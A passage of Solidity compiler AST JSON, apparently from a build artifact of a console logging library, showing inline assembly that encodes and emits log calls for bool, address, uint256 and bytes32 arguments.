rc":"167278:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"167284:4:22","nodeType":"YulLiteral","src":"167284:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"167271:6:22","nodeType":"YulIdentifier","src":"167271:6:22"},"nativeSrc":"167271:18:22","nodeType":"YulFunctionCall","src":"167271:18:22"},"nativeSrc":"167271:18:22","nodeType":"YulExpressionStatement","src":"167271:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167314:4:22","nodeType":"YulLiteral","src":"167314:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"167320:2:22","nodeType":"YulIdentifier","src":"167320:2:22"}],"functionName":{"name":"writeString","nativeSrc":"167302:11:22","nodeType":"YulIdentifier","src":"167302:11:22"},"nativeSrc":"167302:21:22","nodeType":"YulFunctionCall","src":"167302:21:22"},"nativeSrc":"167302:21:22","nodeType":"YulExpressionStatement","src":"167302:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39208,"isOffset":false,"isSlot":false,"src":"166874:2:22","valueSize":1},{"declaration":39211,"isOffset":false,"isSlot":false,"src":"166904:2:22","valueSize":1},{"declaration":39214,"isOffset":false,"isSlot":false,"src":"166934:2:22","valueSize":1},{"declaration":39217,"isOffset":false,"isSlot":false,"src":"166964:2:22","valueSize":1},{"declaration":39220,"isOffset":false,"isSlot":false,"src":"166994:2:22","valueSize":1},{"declaration":39223,"isOffset":false,"isSlot":false,"src":"167024:2:22","valueSize":1},{"declaration":39226,"isOffset":false,"isSlot":false,"src":"167054:2:22","valueSize":1},{"declaration":39198,"isOffset":false,"isSlot":false,"src":"167197:2:22","valueSize":1},{"declaration":39200,"isOffset":false,"isSlot":false,"src":"167226:2:22","valueSize":1},{"declaration":39202,"isOffset":false,"isSlot":false,"src":"167255:2:22","valueSize":1},{"declaration":39204,"isOffset":false,"isSlot":false,"src":"167320:2:22","valueSize":1}],"id":39228,"nodeType":"InlineAssembly","src":"166496:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39230,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"167358:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"167364:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39229,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"167342:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39232,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"167342:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39233,"nodeType":"ExpressionStatement","src":"167342:27:22"},{"AST":{"nativeSrc":"167388:214:22","nodeType":"YulBlock","src":"167388:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"167409:4:22","nodeType":"YulLiteral","src":"167409:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"167415:2:22","nodeType":"YulIdentifier","src":"167415:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167402:6:22","nodeType":"YulIdentifier","src":"167402:6:22"},"nativeSrc":"167402:16:22","nodeType":"YulFunctionCall","src":"167402:16:22"},"nativeSrc":"167402:16:22","nodeType":"YulExpressionStatement","src":"167402:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167438:4:22","nodeType":"YulLiteral","src":"167438:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"167444:2:22","nodeType":"YulIdentifier","src":"167444:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167431:6:22","nodeType":"YulIdentifier","src":"167431:6:22"},"nativeSrc":"167431:16:22","nodeType":"YulFunctionCall","src":"167431:16:22"},"nativeSrc":"167431:16:22","nodeType":"YulExpressionStatement","src":"167431:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167467:4:22","nodeType":"YulLiteral","src":"167467:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"167473:2:22","nodeType":"YulIdentifier","src":"167473:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167460:6:22","nodeType":"YulIdentifier","src":"167460:6:22"},"nativeSrc":"167460:16:22","nodeType":"YulFunctionCall","src":"167460:16:22"},"nativeSrc":"167460:16:22","nodeType":"YulExpressionStatement","src":"167460:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167496:4:22","nodeType":"YulLiteral","src":"167496:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"167502:2:22","nodeType":"YulIdentifier","src":"167502:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167489:6:22","nodeType":"YulIdentifier","src":"167489:6:22"},"nativeSrc":"167489:16:22","nodeType":"YulFunctionCall","src":"167489:16:22"},"nativeSrc":"167489:16:22","nodeType":"YulExpressionStatement","src":"167489:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167525:4:22","nodeType":"YulLiteral","src":"167525:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"167531:2:22","nodeType":"YulIdentifier","src":"167531:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167518:6:22","nodeType":"YulIdentifier","src":"167518:6:22"},"nativeSrc":"167518:16:22","nodeType":"YulFunctionCall","src":"167518:16:22"},"nativeSrc":"167518:16:22","nodeType":"YulExpressionStatement","src":"167518:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167554:4:22","nodeType":"YulLiteral","src":"167554:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"167560:2:22","nodeType":"YulIdentifier","src":"167560:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167547:6:22","nodeType":"YulIdentifier","src":"167547:6:22"},"nativeSrc":"167547:16:22","nodeType":"YulFunctionCall","src":"167547:16:22"},"nativeSrc":"167547:16:22","nodeType":"YulExpressionStatement","src":"167547:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167583:4:22","nodeType":"YulLiteral","src":"167583:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"167589:2:22","nodeType":"YulIdentifier","src":"167589:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167576:6:22","nodeType":"YulIdentifier","src":"167576:6:22"},"nativeSrc":"167576:16:22","nodeType":"YulFunctionCall","src":"167576:16:22"},"nativeSrc":"167576:16:22","nodeType":"YulExpressionStatement","src":"167576:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39208,"isOffset":false,"isSlot":false,"src":"167415:2:22","valueSize":1},{"declaration":39211,"isOffset":false,"isSlot":false,"src":"167444:2:22","valueSize":1},{"declaration":39214,"isOffset":false,"isSlot":false,"src":"167473:2:22","valueSize":1},{"declaration":39217,"isOffset":false,"isSlot":false,"src":"167502:2:22","valueSize":1},{"declaration":39220,"isOffset":false,"isSlot":false,"src":"167531:2:22","valueSize":1},{"declaration":39223,"isOffset":false,"isSlot":false,"src":"167560:2:22","valueSize":1},{"declaration":39226,"isOffset":false,"isSlot":false,"src":"167589:2:22","valueSize":1}],"id":39234,"nodeType":"InlineAssembly","src":"167379:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"166283:3:22","parameters":{"id":39205,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39198,"mutability":"mutable","name":"p0","nameLocation":"166292:2:22","nodeType":"VariableDeclaration","scope":39236,"src":"166287:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39197,"name":"bool","nodeType":"ElementaryTypeName","src":"166287:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39200,"mutability":"mutable","name":"p1","nameLocation":"166304:2:22","nodeType":"VariableDeclaration","scope":39236,"src":"166296:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39199,"name":"address","nodeType":"ElementaryTypeName","src":"166296:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39202,"mutability":"mutable","name":"p2","nameLocation":"166316:2:22","nodeType":"VariableDeclaration","scope":39236,"src":"166308:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39201,"name":"uint256","nodeType":"ElementaryTypeName","src":"166308:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39204,"mutability":"mutable","name":"p3","nameLocation":"166328:2:22","nodeType":"VariableDeclaration","scope":39236,"src":"166320:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39203,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166320:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"166286:45:22"},"returnParameters":{"id":39206,"nodeType":"ParameterList","parameters":[],"src":"166346:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39276,"nodeType":"FunctionDefinition","src":"167614:1334:22","nodes":[],"body":{"id":39275,"nodeType":"Block","src":"167686:1262:22","nodes":[],"statements":[{"assignments":[39248],"declarations":[{"constant":false,"id":39248,"mutability":"mutable","name":"m0","nameLocation":"167704:2:22","nodeType":"VariableDeclaration","scope":39275,"src":"167696:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39247,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167696:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39249,"nodeType":"VariableDeclarationStatement","src":"167696:10:22"},{"assignments":[39251],"declarations":[{"constant":false,"id":39251,"mutability":"mutable","name":"m1","nameLocation":"167724:2:22","nodeType":"VariableDeclaration","scope":39275,"src":"167716:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39250,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167716:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39252,"nodeType":"VariableDeclarationStatement","src":"167716:10:22"},{"assignments":[39254],"declarations":[{"constant":false,"id":39254,"mutability":"mutable","name":"m2","nameLocation":"167744:2:22","nodeType":"VariableDeclaration","scope":39275,"src":"167736:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39253,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167736:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39255,"nodeType":"VariableDeclarationStatement","src":"167736:10:22"},{"assignments":[39257],"declarations":[{"constant":false,"id":39257,"mutability":"mutable","name":"m3","nameLocation":"167764:2:22","nodeType":"VariableDeclaration","scope":39275,"src":"167756:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39256,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167756:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39258,"nodeType":"VariableDeclarationStatement","src":"167756:10:22"},{"assignments":[39260],"declarations":[{"constant":false,"id":39260,"mutability":"mutable","name":"m4","nameLocation":"167784:2:22","nodeType":"VariableDeclaration","scope":39275,"src":"167776:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39259,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167776:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39261,"nodeType":"VariableDeclarationStatement","src":"167776:10:22"},{"assignments":[39263],"declarations":[{"constant":false,"id":39263,"mutability":"mutable","name":"m5","nameLocation":"167804:2:22","nodeType":"VariableDeclaration","scope":39275,"src":"167796:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39262,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167796:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39264,"nodeType":"VariableDeclarationStatement","src":"167796:10:22"},{"assignments":[39266],"declarations":[{"constant":false,"id":39266,"mutability":"mutable","name":"m6","nameLocation":"167824:2:22","nodeType":"VariableDeclaration","scope":39275,"src":"167816:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39265,"name":"bytes32","nodeType":"ElementaryTypeName","src":"167816:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39267,"nodeType":"VariableDeclarationStatement","src":"167816:10:22"},{"AST":{"nativeSrc":"167845:828:22","nodeType":"YulBlock","src":"167845:828:22","statements":[{"body":{"nativeSrc":"167888:313:22","nodeType":"YulBlock","src":"167888:313:22","statements":[{"nativeSrc":"167906:15:22","nodeType":"YulVariableDeclaration","src":"167906:15:22","value":{"kind":"number","nativeSrc":"167920:1:22","nodeType":"YulLiteral","src":"167920:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"167910:6:22","nodeType":"YulTypedName","src":"167910:6:22","type":""}]},{"body":{"nativeSrc":"167991:40:22","nodeType":"YulBlock","src":"167991:40:22","statements":[{"body":{"nativeSrc":"168020:9:22","nodeType":"YulBlock","src":"168020:9:22","statements":[{"nativeSrc":"168022:5:22","nodeType":"YulBreak","src":"168022:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"168008:6:22","nodeType":"YulIdentifier","src":"168008:6:22"},{"name":"w","nativeSrc":"168016:1:22","nodeType":"YulIdentifier","src":"168016:1:22"}],"functionName":{"name":"byte","nativeSrc":"168003:4:22","nodeType":"YulIdentifier","src":"168003:4:22"},"nativeSrc":"168003:15:22","nodeType":"YulFunctionCall","src":"168003:15:22"}],"functionName":{"name":"iszero","nativeSrc":"167996:6:22","nodeType":"YulIdentifier","src":"167996:6:22"},"nativeSrc":"167996:23:22","nodeType":"YulFunctionCall","src":"167996:23:22"},"nativeSrc":"167993:36:22","nodeType":"YulIf","src":"167993:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"167948:6:22","nodeType":"YulIdentifier","src":"167948:6:22"},{"kind":"number","nativeSrc":"167956:4:22","nodeType":"YulLiteral","src":"167956:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"167945:2:22","nodeType":"YulIdentifier","src":"167945:2:22"},"nativeSrc":"167945:16:22","nodeType":"YulFunctionCall","src":"167945:16:22"},"nativeSrc":"167938:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"167962:28:22","nodeType":"YulBlock","src":"167962:28:22","statements":[{"nativeSrc":"167964:24:22","nodeType":"YulAssignment","src":"167964:24:22","value":{"arguments":[{"name":"length","nativeSrc":"167978:6:22","nodeType":"YulIdentifier","src":"167978:6:22"},{"kind":"number","nativeSrc":"167986:1:22","nodeType":"YulLiteral","src":"167986:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"167974:3:22","nodeType":"YulIdentifier","src":"167974:3:22"},"nativeSrc":"167974:14:22","nodeType":"YulFunctionCall","src":"167974:14:22"},"variableNames":[{"name":"length","nativeSrc":"167964:6:22","nodeType":"YulIdentifier","src":"167964:6:22"}]}]},"pre":{"nativeSrc":"167942:2:22","nodeType":"YulBlock","src":"167942:2:22","statements":[]},"src":"167938:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"168055:3:22","nodeType":"YulIdentifier","src":"168055:3:22"},{"name":"length","nativeSrc":"168060:6:22","nodeType":"YulIdentifier","src":"168060:6:22"}],"functionName":{"name":"mstore","nativeSrc":"168048:6:22","nodeType":"YulIdentifier","src":"168048:6:22"},"nativeSrc":"168048:19:22","nodeType":"YulFunctionCall","src":"168048:19:22"},"nativeSrc":"168048:19:22","nodeType":"YulExpressionStatement","src":"168048:19:22"},{"nativeSrc":"168084:37:22","nodeType":"YulVariableDeclaration","src":"168084:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"168101:3:22","nodeType":"YulLiteral","src":"168101:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"168110:1:22","nodeType":"YulLiteral","src":"168110:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"168113:6:22","nodeType":"YulIdentifier","src":"168113:6:22"}],"functionName":{"name":"shl","nativeSrc":"168106:3:22","nodeType":"YulIdentifier","src":"168106:3:22"},"nativeSrc":"168106:14:22","nodeType":"YulFunctionCall","src":"168106:14:22"}],"functionName":{"name":"sub","nativeSrc":"168097:3:22","nodeType":"YulIdentifier","src":"168097:3:22"},"nativeSrc":"168097:24:22","nodeType":"YulFunctionCall","src":"168097:24:22"},"variables":[{"name":"shift","nativeSrc":"168088:5:22","nodeType":"YulTypedName","src":"168088:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"168149:3:22","nodeType":"YulIdentifier","src":"168149:3:22"},{"kind":"number","nativeSrc":"168154:4:22","nodeType":"YulLiteral","src":"168154:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"168145:3:22","nodeType":"YulIdentifier","src":"168145:3:22"},"nativeSrc":"168145:14:22","nodeType":"YulFunctionCall","src":"168145:14:22"},{"arguments":[{"name":"shift","nativeSrc":"168165:5:22","nodeType":"YulIdentifier","src":"168165:5:22"},{"arguments":[{"name":"shift","nativeSrc":"168176:5:22","nodeType":"YulIdentifier","src":"168176:5:22"},{"name":"w","nativeSrc":"168183:1:22","nodeType":"YulIdentifier","src":"168183:1:22"}],"functionName":{"name":"shr","nativeSrc":"168172:3:22","nodeType":"YulIdentifier","src":"168172:3:22"},"nativeSrc":"168172:13:22","nodeType":"YulFunctionCall","src":"168172:13:22"}],"functionName":{"name":"shl","nativeSrc":"168161:3:22","nodeType":"YulIdentifier","src":"168161:3:22"},"nativeSrc":"168161:25:22","nodeType":"YulFunctionCall","src":"168161:25:22"}],"functionName":{"name":"mstore","nativeSrc":"168138:6:22","nodeType":"YulIdentifier","src":"168138:6:22"},"nativeSrc":"168138:49:22","nodeType":"YulFunctionCall","src":"168138:49:22"},"nativeSrc":"168138:49:22","nodeType":"YulExpressionStatement","src":"168138:49:22"}]},"name":"writeString","nativeSrc":"167859:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"167880:3:22","nodeType":"YulTypedName","src":"167880:3:22","type":""},{"name":"w","nativeSrc":"167885:1:22","nodeType":"YulTypedName","src":"167885:1:22","type":""}],"src":"167859:342:22"},{"nativeSrc":"168214:17:22","nodeType":"YulAssignment","src":"168214:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"168226:4:22","nodeType":"YulLiteral","src":"168226:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"168220:5:22","nodeType":"YulIdentifier","src":"168220:5:22"},"nativeSrc":"168220:11:22","nodeType":"YulFunctionCall","src":"168220:11:22"},"variableNames":[{"name":"m0","nativeSrc":"168214:2:22","nodeType":"YulIdentifier","src":"168214:2:22"}]},{"nativeSrc":"168244:17:22","nodeType":"YulAssignment","src":"168244:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"168256:4:22","nodeType":"YulLiteral","src":"168256:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"168250:5:22","nodeType":"YulIdentifier","src":"168250:5:22"},"nativeSrc":"168250:11:22","nodeType":"YulFunctionCall","src":"168250:11:22"},"variableNames":[{"name":"m1","nativeSrc":"168244:2:22","nodeType":"YulIdentifier","src":"168244:2:22"}]},{"nativeSrc":"168274:17:22","nodeType":"YulAssignment","src":"168274:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"168286:4:22","nodeType":"YulLiteral","src":"168286:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"168280:5:22","nodeType":"YulIdentifier","src":"168280:5:22"},"nativeSrc":"168280:11:22","nodeType":"YulFunctionCall","src":"168280:11:22"},"variableNames":[{"name":"m2","nativeSrc":"168274:2:22","nodeType":"YulIdentifier","src":"168274:2:22"}]},{"nativeSrc":"168304:17:22","nodeType":"YulAssignment","src":"168304:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"168316:4:22","nodeType":"YulLiteral","src":"168316:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"168310:5:22","nodeType":"YulIdentifier","src":"168310:5:22"},"nativeSrc":"168310:11:22","nodeType":"YulFunctionCall","src":"168310:11:22"},"variableNames":[{"name":"m3","nativeSrc":"168304:2:22","nodeType":"YulIdentifier","src":"168304:2:22"}]},{"nativeSrc":"168334:17:22","nodeType":"YulAssignment","src":"168334:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"168346:4:22","nodeType":"YulLiteral","src":"168346:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"168340:5:22","nodeType":"YulIdentifier","src":"168340:5:22"},"nativeSrc":"168340:11:22","nodeType":"YulFunctionCall","src":"168340:11:22"},"variableNames":[{"name":"m4","nativeSrc":"168334:2:22","nodeType":"YulIdentifier","src":"168334:2:22"}]},{"nativeSrc":"168364:17:22","nodeType":"YulAssignment","src":"168364:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"168376:4:22","nodeType":"YulLiteral","src":"168376:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"168370:5:22","nodeType":"YulIdentifier","src":"168370:5:22"},"nativeSrc":"168370:11:22","nodeType":"YulFunctionCall","src":"168370:11:22"},"variableNames":[{"name":"m5","nativeSrc":"168364:2:22","nodeType":"YulIdentifier","src":"168364:2:22"}]},{"nativeSrc":"168394:17:22","nodeType":"YulAssignment","src":"168394:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"168406:4:22","nodeType":"YulLiteral","src":"168406:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"168400:5:22","nodeType":"YulIdentifier","src":"168400:5:22"},"nativeSrc":"168400:11:22","nodeType":"YulFunctionCall","src":"168400:11:22"},"variableNames":[{"name":"m6","nativeSrc":"168394:2:22","nodeType":"YulIdentifier","src":"168394:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168494:4:22","nodeType":"YulLiteral","src":"168494:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"168500:10:22","nodeType":"YulLiteral","src":"168500:10:22","type":"","value":"0x6f7c603e"}],"functionName":{"name":"mstore","nativeSrc":"168487:6:22","nodeType":"YulIdentifier","src":"168487:6:22"},"nativeSrc":"168487:24:22","nodeType":"YulFunctionCall","src":"168487:24:22"},"nativeSrc":"168487:24:22","nodeType":"YulExpressionStatement","src":"168487:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168531:4:22","nodeType":"YulLiteral","src":"168531:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"168537:2:22","nodeType":"YulIdentifier","src":"168537:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168524:6:22","nodeType":"YulIdentifier","src":"168524:6:22"},"nativeSrc":"168524:16:22","nodeType":"YulFunctionCall","src":"168524:16:22"},"nativeSrc":"168524:16:22","nodeType":"YulExpressionStatement","src":"168524:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168560:4:22","nodeType":"YulLiteral","src":"168560:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"168566:2:22","nodeType":"YulIdentifier","src":"168566:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168553:6:22","nodeType":"YulIdentifier","src":"168553:6:22"},"nativeSrc":"168553:16:22","nodeType":"YulFunctionCall","src":"168553:16:22"},"nativeSrc":"168553:16:22","nodeType":"YulExpressionStatement","src":"168553:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168589:4:22","nodeType":"YulLiteral","src":"168589:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"168595:4:22","nodeType":"YulLiteral","src":"168595:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"168582:6:22","nodeType":"YulIdentifier","src":"168582:6:22"},"nativeSrc":"168582:18:22","nodeType":"YulFunctionCall","src":"168582:18:22"},"nativeSrc":"168582:18:22","nodeType":"YulExpressionStatement","src":"168582:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168620:4:22","nodeType":"YulLiteral","src":"168620:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"168626:2:22","nodeType":"YulIdentifier","src":"168626:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168613:6:22","nodeType":"YulIdentifier","src":"168613:6:22"},"nativeSrc":"168613:16:22","nodeType":"YulFunctionCall","src":"168613:16:22"},"nativeSrc":"168613:16:22","nodeType":"YulExpressionStatement","src":"168613:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168654:4:22","nodeType":"YulLiteral","src":"168654:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"168660:2:22","nodeType":"YulIdentifier","src":"168660:2:22"}],"functionName":{"name":"writeString","nativeSrc":"168642:11:22","nodeType":"YulIdentifier","src":"168642:11:22"},"nativeSrc":"168642:21:22","nodeType":"YulFunctionCall","src":"168642:21:22"},"nativeSrc":"168642:21:22","nodeType":"YulExpressionStatement","src":"168642:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39248,"isOffset":false,"isSlot":false,"src":"168214:2:22","valueSize":1},{"declaration":39251,"isOffset":false,"isSlot":false,"src":"168244:2:22","valueSize":1},{"declaration":39254,"isOffset":false,"isSlot":false,"src":"168274:2:22","valueSize":1},{"declaration":39257,"isOffset":false,"isSlot":false,"src":"168304:2:22","valueSize":1},{"declaration":39260,"isOffset":false,"isSlot":false,"src":"168334:2:22","valueSize":1},{"declaration":39263,"isOffset":false,"isSlot":false,"src":"168364:2:22","valueSize":1},{"declaration":39266,"isOffset":false,"isSlot":false,"src":"168394:2:22","valueSize":1},{"declaration":39238,"isOffset":false,"isSlot":false,"src":"168537:2:22","valueSize":1},{"declaration":39240,"isOffset":false,"isSlot":false,"src":"168566:2:22","valueSize":1},{"declaration":39242,"isOffset":false,"isSlot":false,"src":"168660:2:22","valueSize":1},{"declaration":39244,"isOffset":false,"isSlot":false,"src":"168626:2:22","valueSize":1}],"id":39268,"nodeType":"InlineAssembly","src":"167836:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39270,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"168698:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"168704:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39269,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"168682:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39272,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"168682:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39273,"nodeType":"ExpressionStatement","src":"168682:27:22"},{"AST":{"nativeSrc":"168728:214:22","nodeType":"YulBlock","src":"168728:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"168749:4:22","nodeType":"YulLiteral","src":"168749:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"168755:2:22","nodeType":"YulIdentifier","src":"168755:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168742:6:22","nodeType":"YulIdentifier","src":"168742:6:22"},"nativeSrc":"168742:16:22","nodeType":"YulFunctionCall","src":"168742:16:22"},"nativeSrc":"168742:16:22","nodeType":"YulExpressionStatement","src":"168742:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"168778:4:22","nodeType":"YulLiteral","src":"168778:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"168784:2:22","nodeType":"YulIdentifier","src":"168784:2:22"}],"functionName":{"name":"mstore","nativeSrc":"168771:6:22","nodeType":"YulIdentifier","src":"168771:6:22"},"nativeSrc":"168771:16:22","n